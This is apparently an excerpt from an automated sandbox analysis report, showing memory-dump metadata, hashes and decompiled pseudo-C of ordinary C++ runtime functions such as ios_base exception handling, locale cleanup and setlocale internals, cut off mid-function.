Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ErrorFileLastMapping$CloseCreateExceptionFeatureFormatFreeHandleLocalMessageOpenPresentProcessorRaise___raise_securityfailure
String ID:
API String ID: 1797952816-0
Opcode ID: f82966e034338601100631f61022a71aff877b81a396482406319119602a3925
Instruction ID: 3b82ee412dbc310b1eb9be8e70ff5002b903600d726fc90aafb058fda28e2738
Opcode Fuzzy Hash: f82966e034338601100631f61022a71aff877b81a396482406319119602a3925
Instruction Fuzzy Hash: 6F41B2712046019FC718DF68DC66BABB7E9AF99302F404629F99597191DB30EE08CB92

Uniqueness

Uniqueness Score: 100.00%

Function 00053470, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 77
UNIQUE

Download Yara Rule

C-Code - Quality: 58%

			E00053470(void* __ebx, void* __ecx, void* __edx, void* __edi, signed int _a4, char _a8) {
				char _v24;
				char _v32;
				void* __ebp;
				signed int _t20;
				void* _t23;
				void* _t34;
				signed char _t37;
				intOrPtr* _t38;
				void* _t39;
				void* _t40;
				intOrPtr* _t41;
				char* _t46;
				intOrPtr _t47;

				_t40 = __edi;
				_t39 = __edx;
				_t34 = __ebx;
				_t20 = _a4 & 0x00000017;
				 *(__ecx + 0xc) = _t20;
				_t37 =  *(__ecx + 0x10) & _t20;
				if(_t37 == 0) {
					return _t20;
				} else {
					if(_a8 != 0) {
						E001047B7(0, 0);
					}
					if((_t37 & 0x00000004) == 0) {
						_t46 =  ==  ? "ios_base::eofbit set" : "ios_base::failbit set";
					} else {
						_t46 = "ios_base::badbit set";
					}
					_t23 = E00052DA0(_t34, _t39, _t40,  &_v32, 1);
					_t38 =  &_v24;
					E00053440(_t38, _t46, _t23);
					E001047B7( &_v32, 0x16d254);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t46);
					_t47 = _v32;
					asm("xorps xmm0, xmm0");
					_push(_t40);
					_t41 = _t38;
					 *_t41 = 0x13a468;
					asm("movq [eax], xmm0");
					E001041DE(_t47 + 4, _t41 + 4);
					 *_t41 = 0x13ac14;
					 *((intOrPtr*)(_t41 + 0xc)) =  *((intOrPtr*)(_t47 + 0xc));
					 *((intOrPtr*)(_t41 + 0x10)) =  *((intOrPtr*)(_t47 + 0x10));
					 *_t41 = 0x13ac64;
					return _t41;
				}
			}

0x00053470
0x00053470
0x00053470
0x0005347c
0x0005347f
0x00053486
0x00053488
0x00053496
0x0005348a
0x0005348e
0x0005349d
0x0005349d
0x000534a5
0x000534bb
0x000534a7
0x000534a7
0x000534a7
0x000534c5
0x000534cd
0x000534d3
0x000534e2
0x000534e7
0x000534e8
0x000534e9
0x000534ea
0x000534eb
0x000534ec
0x000534ed
0x000534ee
0x000534ef
0x000534f3
0x000534f4
0x000534f7
0x000534fa
0x000534fb
0x00053501
0x00053507
0x0005350f
0x00053514
0x00053520
0x00053526
0x0005352b
0x00053534
0x00053534

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 0005349D

Part of subcall function 00052DA0: _abort.LIBCMT ref: 0010F5FA
Part of subcall function 00052DA0: _free.LIBCMT ref: 0010F62E
Part of subcall function 00052DA0: _free.LIBCMT ref: 0010F654

__CxxThrowException@8.LIBVCRUNTIME ref: 000534E2

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

___std_exception_copy.LIBVCRUNTIME ref: 0005350F

Strings

ios_base::eofbit set, xrefs: 000534B6
ios_base::failbit set, xrefs: 000534B1
ios_base::badbit set, xrefs: 000534A7, 000534D2, 000534F3

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw_free$ExceptionRaise___std_exception_copy_abort
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2013578873-1866435925
Opcode ID: cc002f6d2b3a352b2907925508394557910f14f0e4dc52cab7657c4f1e47e7f2
Instruction ID: 2e65898d8c77b09d186adf9367aa5d5692648c685bf8ca7c7f712842adb8089d
Opcode Fuzzy Hash: cc002f6d2b3a352b2907925508394557910f14f0e4dc52cab7657c4f1e47e7f2
Instruction Fuzzy Hash: 7B1127B2900704ABC711DF58C801B8BB3D8AF55321F448526FEA8DB541F7B0F958CBA1

Uniqueness

Uniqueness Score: 100.00%

Function 00125DB0, Relevance: 10.6, APIs: 7, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00125DB0(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E00125AF7(_t45, 7);
					E00125AF7(_t45 + 0x1c, 7);
					E00125AF7(_t45 + 0x38, 0xc);
					E00125AF7(_t45 + 0x68, 0xc);
					E00125AF7(_t45 + 0x98, 2);
					E0011D5C7( *((intOrPtr*)(_t45 + 0xa0)));
					E0011D5C7( *((intOrPtr*)(_t45 + 0xa4)));
					E0011D5C7( *((intOrPtr*)(_t45 + 0xa8)));
					E00125AF7(_t45 + 0xb4, 7);
					E00125AF7(_t45 + 0xd0, 7);
					E00125AF7(_t45 + 0xec, 0xc);
					E00125AF7(_t45 + 0x11c, 0xc);
					E00125AF7(_t45 + 0x14c, 2);
					E0011D5C7( *((intOrPtr*)(_t45 + 0x154)));
					E0011D5C7( *((intOrPtr*)(_t45 + 0x158)));
					E0011D5C7( *((intOrPtr*)(_t45 + 0x15c)));
					return E0011D5C7( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

0x00125db6
0x00125dbb
0x00125dc4
0x00125dcf
0x00125dda
0x00125de5
0x00125df3
0x00125dfe
0x00125e09
0x00125e14
0x00125e22
0x00125e30
0x00125e41
0x00125e4f
0x00125e5d
0x00125e68
0x00125e73
0x00125e7e
0x00000000
0x00125e8e
0x00125e93

APIs

Part of subcall function 00125AF7: _free.LIBCMT ref: 00125B20

_free.LIBCMT ref: 00125DFE

Part of subcall function 0011D5C7: HeapFree.KERNEL32(00000000,00000000), ref: 0011D5DD
Part of subcall function 0011D5C7: GetLastError.KERNEL32(?,?,00125B25,?,00000000,?,00000000,?,00125DC9,?,00000007,?,?,001261BD,?,?), ref: 0011D5EF

_free.LIBCMT ref: 00125E09
_free.LIBCMT ref: 00125E14
_free.LIBCMT ref: 00125E68
_free.LIBCMT ref: 00125E73
_free.LIBCMT ref: 00125E7E
_free.LIBCMT ref: 00125E89

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: daca3400ddf1d60bc98391531e124c084af42b86bb57f81327d091ce82085aba
Instruction ID: 94666f71496371d55b06ac124d09b0ec7c355eb4954fd8713cc1f5cc8f8ab25a
Opcode Fuzzy Hash: daca3400ddf1d60bc98391531e124c084af42b86bb57f81327d091ce82085aba
Instruction Fuzzy Hash: BB115171540F14ABDA24B7B0ECC7FDB77BE5F10700F400A29B29967092DBB6B5654A90

Uniqueness

Uniqueness Score: 0.14%

Function 0011AAC3, Relevance: 9.3, APIs: 6, Instructions: 266
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0011AAC3(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, signed int _a8, intOrPtr _a12) {
				signed int _v8;
				short _v270;
				short _v272;
				char _v528;
				char _v700;
				signed int _v704;
				signed int _v708;
				short _v710;
				signed int* _v712;
				signed int _v716;
				signed int _v720;
				signed int _v724;
				signed int* _v728;
				signed int _v732;
				signed int _v736;
				signed int _v740;
				signed int _v744;
				signed int _t149;
				void* _t156;
				signed int _t157;
				signed int _t158;
				intOrPtr _t159;
				signed int _t162;
				signed int _t166;
				signed int _t167;
				intOrPtr _t169;
				signed int _t172;
				signed int _t173;
				signed int _t175;
				signed int _t195;
				signed int _t196;
				signed int _t199;
				signed int _t204;
				signed int _t207;
				intOrPtr* _t213;
				intOrPtr* _t214;
				signed int _t225;
				signed int _t228;
				intOrPtr* _t229;
				signed int _t231;
				signed int* _t235;
				void* _t243;
				signed int _t244;
				intOrPtr _t246;
				signed int _t251;
				signed int _t253;
				signed int _t257;
				signed int* _t258;
				intOrPtr* _t259;
				short _t260;
				signed int _t262;
				signed int _t264;
				void* _t266;
				void* _t268;

				_t262 = _t264;
				_t149 =  *0x16f170; // 0xd529e887
				_v8 = _t149 ^ _t262;
				_push(__ebx);
				_t207 = _a8;
				_push(__esi);
				_push(__edi);
				_t246 = _a4;
				_v744 = _t207;
				_v728 = E0011E008(_t207, __ecx, __edx) + 0x278;
				_push( &_v708);
				_t156 = E0011A20D(_t207, __edx, _t246, _a12, _a12,  &_v272, 0x83,  &_v700, 0x55);
				_t266 = _t264 - 0x2e4 + 0x18;
				if(_t156 != 0) {
					_t11 = _t207 + 2; // 0x1522a2
					_t251 = _t11 << 4;
					__eflags = _t251;
					_t157 =  &_v272;
					_v716 = _t251;
					_t213 =  *((intOrPtr*)(_t251 + _t246));
					while(1) {
						_v704 = _v704 & 0x00000000;
						__eflags =  *_t157 -  *_t213;
						_t253 = _v716;
						if( *_t157 !=  *_t213) {
							break;
						}
						__eflags =  *_t157;
						if( *_t157 == 0) {
							L9:
							_t158 = _v704;
						} else {
							_t260 =  *((intOrPtr*)(_t157 + 2));
							__eflags = _t260 -  *((intOrPtr*)(_t213 + 2));
							_v710 = _t260;
							_t253 = _v716;
							if(_t260 !=  *((intOrPtr*)(_t213 + 2))) {
								break;
							} else {
								_t157 = _t157 + 4;
								_t213 = _t213 + 4;
								__eflags = _v710;
								if(_v710 != 0) {
									continue;
								} else {
									goto L9;
								}
							}
						}
						L11:
						__eflags = _t158;
						if(_t158 != 0) {
							_t214 =  &_v272;
							_t243 = _t214 + 2;
							do {
								_t159 =  *_t214;
								_t214 = _t214 + 2;
								__eflags = _t159 - _v704;
							} while (_t159 != _v704);
							_v720 = (_t214 - _t243 >> 1) + 1;
							_t162 = E0011D9CA(_t214 - _t243 >> 1, 4 + ((_t214 - _t243 >> 1) + 1) * 2);
							_v732 = _t162;
							__eflags = _t162;
							if(_t162 == 0) {
								goto L2;
							} else {
								_v724 =  *((intOrPtr*)(_t253 + _t246));
								_t35 = _t207 * 4; // 0xc339
								_v736 =  *((intOrPtr*)(_t246 + _t35 + 0xa0));
								_t38 = _t246 + 8; // 0x8b56ff8b
								_v740 =  *_t38;
								_t223 =  &_v272;
								_v712 = _t162 + 4;
								_t166 = E00118DD4(_t162 + 4, _v720,  &_v272);
								_t268 = _t266 + 0xc;
								__eflags = _t166;
								if(_t166 != 0) {
									_t167 = _v704;
									_push(_t167);
									_push(_t167);
									_push(_t167);
									_push(_t167);
									_push(_t167);
									E0010F468();
									asm("int3");
									_t169 =  *0x179ea8; // 0x0
									return _t169;
								} else {
									__eflags = _v272 - 0x43;
									 *((intOrPtr*)(_t253 + _t246)) = _v712;
									if(_v272 != 0x43) {
										L20:
										_t172 = E00119F1A(_t207, _t223, _t246,  &_v700);
										_t225 = _v704;
										 *(_t246 + 0xa0 + _t207 * 4) = _t172;
									} else {
										__eflags = _v270;
										if(_v270 != 0) {
											goto L20;
										} else {
											_t225 = _v704;
											 *(_t246 + 0xa0 + _t207 * 4) = _t225;
										}
									}
									__eflags = _t207 - 2;
									if(_t207 != 2) {
										__eflags = _t207 - 1;
										if(_t207 != 1) {
											__eflags = _t207 - 5;
											if(_t207 == 5) {
												 *((intOrPtr*)(_t246 + 0x14)) = _v708;
											}
										} else {
											 *((intOrPtr*)(_t246 + 0x10)) = _v708;
										}
									} else {
										_t258 = _v728;
										_t244 = _t225;
										_t235 = _t258;
										 *(_t246 + 8) = _v708;
										_v712 = _t258;
										_v720 = _t258[8];
										_v708 = _t258[9];
										while(1) {
											_t64 = _t246 + 8; // 0x8b56ff8b
											__eflags =  *_t64 -  *_t235;
											if( *_t64 ==  *_t235) {
												break;
											}
											_t259 = _v712;
											_t244 = _t244 + 1;
											_t204 =  *_t235;
											 *_t259 = _v720;
											_v708 = _t235[1];
											_t235 = _t259 + 8;
											 *((intOrPtr*)(_t259 + 4)) = _v708;
											_t207 = _v744;
											_t258 = _v728;
											_v720 = _t204;
											_v712 = _t235;
											__eflags = _t244 - 5;
											if(_t244 < 5) {
												continue;
											} else {
											}
											L28:
											__eflags = _t244 - 5;
											if(__eflags == 0) {
												_t88 = _t246 + 8; // 0x8b56ff8b
												_t195 = E0012265C(_t207, _t244, _t246, _t258, __eflags, _v704, 1, 0x1471e8, 0x7f,  &_v528,  *_t88, 1);
												_t268 = _t268 + 0x1c;
												__eflags = _t195;
												_t196 = _v704;
												if(_t195 == 0) {
													_t258[1] = _t196;
												} else {
													do {
														 *(_t262 + _t196 * 2 - 0x20c) =  *(_t262 + _t196 * 2 - 0x20c) & 0x000001ff;
														_t196 = _t196 + 1;
														__eflags = _t196 - 0x7f;
													} while (_t196 < 0x7f);
													_t199 = E00105A63( &_v528,  *0x16f3a8, 0xfe);
													_t268 = _t268 + 0xc;
													__eflags = _t199;
													_t258[1] = 0 | _t199 == 0x00000000;
												}
												_t103 = _t246 + 8; // 0x8b56ff8b
												 *_t258 =  *_t103;
											}
											 *(_t246 + 0x18) = _t258[1];
											goto L39;
										}
										__eflags = _t244;
										if(_t244 != 0) {
											 *_t258 =  *(_t258 + _t244 * 8);
											_t258[1] =  *(_t258 + 4 + _t244 * 8);
											 *(_t258 + _t244 * 8) = _v720;
											 *(_t258 + 4 + _t244 * 8) = _v708;
										}
										goto L28;
									}
									L39:
									_t173 = _t207 * 0xc;
									_t110 = _t173 + 0x147128; // 0x52690
									 *0x13a31c(_t246);
									_t175 =  *((intOrPtr*)( *_t110))();
									_t228 = _v724;
									__eflags = _t175;
									if(_t175 == 0) {
										__eflags = _t228 - 0x16f4a8;
										if(_t228 != 0x16f4a8) {
											_t257 = _t207 + _t207;
											__eflags = _t257;
											asm("lock xadd [eax], ecx");
											if(_t257 != 0) {
												goto L44;
											} else {
												_t128 = _t257 * 8; // 0x30ff068b
												E0011D5C7( *((intOrPtr*)(_t246 + _t128 + 0x28)));
												_t131 = _t257 * 8; // 0x30ff0c46
												E0011D5C7( *((intOrPtr*)(_t246 + _t131 + 0x24)));
												_t134 = _t207 * 4; // 0xc339
												E0011D5C7( *((intOrPtr*)(_t246 + _t134 + 0xa0)));
												_t231 = _v704;
												 *((intOrPtr*)(_v716 + _t246)) = _t231;
												 *(_t246 + 0xa0 + _t207 * 4) = _t231;
											}
										}
										_t229 = _v732;
										 *_t229 = 1;
										 *((intOrPtr*)(_t246 + 0x28 + (_t207 + _t207) * 8)) = _t229;
									} else {
										 *(_v716 + _t246) = _t228;
										_t115 = _t207 * 4; // 0xc339
										E0011D5C7( *((intOrPtr*)(_t246 + _t115 + 0xa0)));
										 *(_t246 + 0xa0 + _t207 * 4) = _v736;
										E0011D5C7(_v732);
										 *(_t246 + 8) = _v740;
										goto L2;
									}
									goto L3;
								}
							}
						} else {
							goto L3;
						}
						goto L48;
					}
					asm("sbb eax, eax");
					_t158 = _t157 | 0x00000001;
					__eflags = _t158;
					goto L11;
				} else {
					L2:
					L3:
					return E000ECED8(_v8 ^ _t262);
				}
				L48:
			}

0x0011aac6
0x0011aace
0x0011aad5
0x0011aad8
0x0011aad9
0x0011aadc
0x0011aae0
0x0011aae1
0x0011aae4
0x0011aaf4
0x0011ab00
0x0011ab17
0x0011ab1c
0x0011ab21
0x0011ab36
0x0011ab39
0x0011ab39
0x0011ab3c
0x0011ab42
0x0011ab4b
0x0011ab4d
0x0011ab50
0x0011ab57
0x0011ab5a
0x0011ab60
0x00000000
0x00000000
0x0011ab62
0x0011ab66
0x0011ab8f
0x0011ab8f
0x0011ab68
0x0011ab68
0x0011ab6c
0x0011ab70
0x0011ab77
0x0011ab7d
0x00000000
0x0011ab7f
0x0011ab7f
0x0011ab82
0x0011ab85
0x0011ab8d
0x00000000
0x00000000
0x00000000
0x00000000
0x0011ab8d
0x0011ab7d
0x0011ab9c
0x0011ab9c
0x0011ab9e
0x0011aba4
0x0011abaa
0x0011abad
0x0011abad
0x0011abb0
0x0011abb3
0x0011abb3
0x0011abc3
0x0011abd1
0x0011abd6
0x0011abdd
0x0011abdf
0x00000000
0x0011abe5
0x0011abeb
0x0011abf1
0x0011abf8
0x0011abfe
0x0011ac01
0x0011ac07
0x0011ac14
0x0011ac1b
0x0011ac20
0x0011ac23
0x0011ac25
0x0011ae7e
0x0011ae84
0x0011ae85
0x0011ae86
0x0011ae87
0x0011ae88
0x0011ae89
0x0011ae8e
0x0011ae8f
0x0011ae94
0x0011ac2b
0x0011ac2b
0x0011ac39
0x0011ac3c
0x0011ac57
0x0011ac5e
0x0011ac64
0x0011ac6a
0x0011ac3e
0x0011ac3e
0x0011ac46
0x00000000
0x0011ac48
0x0011ac48
0x0011ac4e
0x0011ac4e
0x0011ac46
0x0011ac71
0x0011ac74
0x0011ad91
0x0011ad94
0x0011ada1
0x0011ada4
0x0011adac
0x0011adac
0x0011ad96
0x0011ad9c
0x0011ad9c
0x0011ac7a
0x0011ac7a
0x0011ac80
0x0011ac88
0x0011ac8a
0x0011ac8d
0x0011ac96
0x0011ac9f
0x0011aca5
0x0011aca5
0x0011aca8
0x0011acaa
0x00000000
0x00000000
0x0011acac
0x0011acb2
0x0011acb3
0x0011acbe
0x0011acc6
0x0011acce
0x0011acd1
0x0011acd4
0x0011acda
0x0011ace0
0x0011ace6
0x0011acec
0x0011acef
0x00000000
0x00000000
0x0011acf1
0x0011ad16
0x0011ad16
0x0011ad19
0x0011ad1d
0x0011ad36
0x0011ad3b
0x0011ad3e
0x0011ad40
0x0011ad46
0x0011ad81
0x0011ad48
0x0011ad48
0x0011ad4d
0x0011ad55
0x0011ad56
0x0011ad56
0x0011ad6d
0x0011ad74
0x0011ad77
0x0011ad7c
0x0011ad7c
0x0011ad84
0x0011ad87
0x0011ad87
0x0011ad8c
0x00000000
0x0011ad8c
0x0011acf3
0x0011acf5
0x0011acfa
0x0011ad00
0x0011ad09
0x0011ad12
0x0011ad12
0x00000000
0x0011acf5
0x0011adaf
0x0011adaf
0x0011adb3
0x0011adbb
0x0011adc1
0x0011adc4
0x0011adca
0x0011adcc
0x0011ae0c
0x0011ae12
0x0011ae19
0x0011ae19
0x0011ae1f
0x0011ae23
0x00000000
0x0011ae25
0x0011ae25
0x0011ae29
0x0011ae2e
0x0011ae32
0x0011ae37
0x0011ae3e
0x0011ae4c
0x0011ae52
0x0011ae55
0x0011ae55
0x0011ae23
0x0011ae64
0x0011ae6c
0x0011ae75
0x0011adce
0x0011add4
0x0011add7
0x0011adde
0x0011adf0
0x0011adf7
0x0011ae04
0x00000000
0x0011ae04
0x00000000
0x0011adcc
0x0011ac25
0x0011aba0
0x00000000
0x0011aba0
0x00000000
0x0011ab9e
0x0011ab97
0x0011ab99
0x0011ab99
0x00000000
0x0011ab23
0x0011ab23
0x0011ab25
0x0011ab35
0x0011ab35
0x00000000

APIs

Part of subcall function 0011E008: GetLastError.KERNEL32(B2AB117A,ios_base::failbit set,0010F5D5,0016C2A8,0000000C,?,00000001,?,0006B1C9,00000000,00000000,D529E887), ref: 0011E00C
Part of subcall function 0011E008: _free.LIBCMT ref: 0011E03F
Part of subcall function 0011E008: _free.LIBCMT ref: 0011E067
Part of subcall function 0011E008: SetLastError.KERNEL32(00000000,?,?,?,?,00000000,?,0006B1C9,00000000,00000000,D529E887), ref: 0011E074
Part of subcall function 0011E008: SetLastError.KERNEL32(00000000,?,?,?,?,00000000,?,0006B1C9,00000000,00000000,D529E887), ref: 0011E080
Part of subcall function 0011E008: _abort.LIBCMT ref: 0011E086

Part of subcall function 0011A20D: GetACP.KERNEL32(?,20001004,?,00000002,?,?,00119E14,?,001522A0), ref: 0011A45E

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Part of subcall function 0011D9CA: RtlAllocateHeap.NTDLL(00000000,?,00000004,?,0011D976,?,00000000,?,00124E06,?,00000004,?,?,?,?,001197EF), ref: 0011D9FC

Part of subcall function 0012265C: MultiByteToWideChar.KERNEL32(001522A0,00000000,0000007F,001471E8,00000000,00000000,8B56FF8B,00119E14,?,001522A0,00000001,001471E8,0000007F,?,8B56FF8B,00000001), ref: 001226A9
Part of subcall function 0012265C: MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00122732
Part of subcall function 0012265C: GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00122744
Part of subcall function 0012265C: __freea.LIBCMT ref: 0012274D

_memcmp.LIBVCRUNTIME ref: 0011AD6D
_free.LIBCMT ref: 0011ADF7
_free.LIBCMT ref: 0011ADDE

Part of subcall function 0011D5C7: HeapFree.KERNEL32(00000000,00000000), ref: 0011D5DD
Part of subcall function 0011D5C7: GetLastError.KERNEL32(?,?,00125B25,?,00000000,?,00000000,?,00125DC9,?,00000007,?,?,001261BD,?,?), ref: 0011D5EF

_free.LIBCMT ref: 0011AE29
_free.LIBCMT ref: 0011AE32
_free.LIBCMT ref: 0011AE3E

Part of subcall function 0010F468: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0010F46A
Part of subcall function 0010F468: GetCurrentProcess.KERNEL32(C0000417), ref: 0010F48C
Part of subcall function 0010F468: TerminateProcess.KERNEL32(00000000), ref: 0010F493

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: _free$ErrorLast$ByteCharFeatureHeapMultiPresentProcessProcessorWide$AllocateCurrentFreeStringTerminateType___raise_securityfailure__freea_abort_memcmp
String ID:
API String ID: 4124420593-0
Opcode ID: d5c9b1770df8ef8ff1b8628d414e07e6f45a05b1ea8a4979273fb0219c86b964
Instruction ID: 13a2c46c481c62a5cf8920176cd0b1afd2706a460589785ad6a0576949752b21
Opcode Fuzzy Hash: d5c9b1770df8ef8ff1b8628d414e07e6f45a05b1ea8a4979273fb0219c86b964
Instruction Fuzzy Hash: 7FB14B75A026199FDB28DF18D884AEDBBB5FF58304F5045AAE849A7350E730AED0CF41

Uniqueness

Uniqueness Score: 12.89%

Function 000871C0, Relevance: 9.2, APIs: 6, Instructions: 206
UNIQUE

Download Yara Rule

C-Code - Quality: 63%

			E000871C0(void* __ebx, char __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				char _v16;
				char _v24;
				signed int _v32;
				signed int _v36;
				char _v56;
				signed int _v60;
				signed int _v64;
				char* _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v136;
				char _v188;
				signed int _t68;
				signed int _t69;
				signed int _t73;
				signed int _t75;
				char* _t77;
				intOrPtr _t80;
				signed int _t85;
				signed int _t88;
				signed int _t90;
				void* _t93;
				intOrPtr* _t98;
				void* _t101;
				signed int _t106;
				signed int _t107;
				void* _t112;
				signed int _t116;
				signed int _t118;
				intOrPtr _t123;
				void* _t124;
				signed int _t125;
				void* _t131;
				signed int _t132;
				signed int _t133;
				void* _t134;
				intOrPtr* _t135;
				intOrPtr* _t137;
				signed int _t140;
				void* _t146;
				signed int _t149;
				void* _t150;
				void* _t154;
				void* _t168;

				_t114 = __ecx;
				_push(__ebx);
				_t112 = _t146;
				_t149 = (_t146 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t112 + 4));
				_t144 = _t149;
				_push(0xffffffff);
				_push(0x13059e);
				_push( *[fs:0x0]);
				_push(_t112);
				_t150 = _t149 - 0xa0;
				_t68 =  *0x16f170; // 0xd529e887
				_t69 = _t68 ^ _t149;
				_v32 = _t69;
				_push(__esi);
				_push(__edi);
				_push(_t69);
				 *[fs:0x0] =  &_v24;
				_v68 = __ecx;
				_v72 = __ecx;
				_v84 = __ecx;
				_v80 = 0;
				_t137 = E00057070(_t112, __edi,  &_v56);
				_v16 = 0;
				_t73 =  *0x17a3cc; // 0x1
				if((_t73 & 0x00000001) == 0) {
					_t108 = _t73 | 0x00000001;
					 *0x17a3cc = _t73 | 0x00000001;
					_v16 = 1;
					E000569D0(_t114, _t131, _t108);
					E000ED2BB(_t108,  &M00138500);
					_t150 = _t150 + 4;
					_v16 = 0;
				}
				E000D71DA( &_v72, 0);
				_v16 = 2;
				_t116 =  *0x17920c; // 0x1a
				_t75 =  *0x17a400; // 0x0
				_v60 = _t75;
				_v64 = _t116;
				if(_t116 == 0) {
					E000D71DA( &_v76, _t116);
					if( *0x17920c == 0) {
						_t106 =  *0x179200; // 0x27
						_t107 = _t106 + 1;
						 *0x179200 = _t107;
						 *0x17920c = _t107;
					}
					E000D7232( &_v76);
					_t116 =  *0x17920c; // 0x1a
					_v64 = _t116;
				}
				_t132 =  *0x17a3b8; // 0x4fadc0
				if(_t116 >=  *((intOrPtr*)(_t132 + 0xc))) {
					_t140 = 0;
					__eflags = 0;
					goto L10;
				} else {
					_t140 =  *( *((intOrPtr*)(_t132 + 8)) + _t116 * 4);
					if(_t140 == 0) {
						L10:
						if( *((char*)(_t132 + 0x14)) == 0) {
							L13:
							if(_t140 == 0) {
								goto L14;
							}
						} else {
							_t101 = E000D9778();
							_t140 = _v64;
							if(_t140 >=  *((intOrPtr*)(_t101 + 0xc))) {
								L14:
								_t88 = _v60;
								if(_t88 == 0) {
									_push(0x34);
									_t140 = E000ECF08(_t140, __eflags);
									_t154 = _t150 + 4;
									_v60 = _t140;
									_v16 = 3;
									_t125 =  *0x17a3b8; // 0x4fadc0
									__eflags = _t125;
									if(_t125 != 0) {
										_t90 =  *(_t125 + 0x18);
										__eflags = _t90;
										if(_t90 == 0) {
											_t36 = _t125 + 0x1c; // 0x4faddc
											_t90 = _t36;
										}
									} else {
										_t90 = 0x15063e;
									}
									E00051DD0(_t112,  &_v136, _t132, _t137, _t90);
									 *((intOrPtr*)(_t140 + 4)) = 0;
									 *_t140 = 0x13ab78;
									_t93 = E000DA744(_t112, _t132, __eflags,  &_v188);
									asm("movups xmm0, [eax]");
									asm("movups [esi+0x8], xmm0");
									asm("movups xmm0, [eax+0x10]");
									asm("movups [esi+0x18], xmm0");
									asm("movq xmm0, [eax+0x20]");
									asm("movq [esi+0x28], xmm0");
									 *((intOrPtr*)(_t140 + 0x30)) =  *((intOrPtr*)(_t93 + 0x28));
									E00051E90( &_v136);
									_v60 = _t140;
									_v16 = 4;
									E000D974C(__eflags, _t140);
									_t150 = _t154 + 8;
									_t98 =  *((intOrPtr*)( *_t140 + 4));
									__eflags = _t98 - 0x52060;
									if(_t98 != 0x52060) {
										 *_t98();
									} else {
										asm("lock inc dword [eax]");
									}
									 *0x17a400 = _t140;
								} else {
									_t140 = _t88;
								}
							} else {
								_t140 =  *( *((intOrPtr*)(_t101 + 8)) + _t140 * 4);
								goto L13;
							}
						}
					}
				}
				E000D7232( &_v72);
				_v16 = 5;
				_t77 = _v68;
				_v80 = 4;
				 *((intOrPtr*)(_t77 + 0x10)) = 0;
				 *((intOrPtr*)(_t77 + 0x14)) = 0xf;
				 *_t77 = 0;
				_t118 =  *(_t137 + 0x10);
				if(_t118 != 0) {
					_t168 =  *((intOrPtr*)(_t137 + 0x14)) - 8;
					_t135 = _t137;
					if(_t168 >= 0) {
						_t135 =  *_t137;
					}
					_t124 = _t135 + _t118 * 2;
					if(_t168 >= 0) {
						_t137 =  *_t137;
					}
					_push(_t140);
					_push(_t77);
					_push(_t124);
					_push(_t137);
					E000AB400(_t112, _t137, _t140);
					_t150 = _t150 + 0x10;
				}
				_t133 = _v36;
				if(_t133 < 8) {
					L33:
					 *[fs:0x0] = _v24;
					return E000ECED8(_v32 ^ _t144);
				} else {
					_t123 = _v56;
					_t134 = 2 + _t133 * 2;
					_t80 = _t123;
					if(_t134 < 0x1000) {
						L32:
						_push(_t134);
						E000ED2D0(_t123);
						goto L33;
					} else {
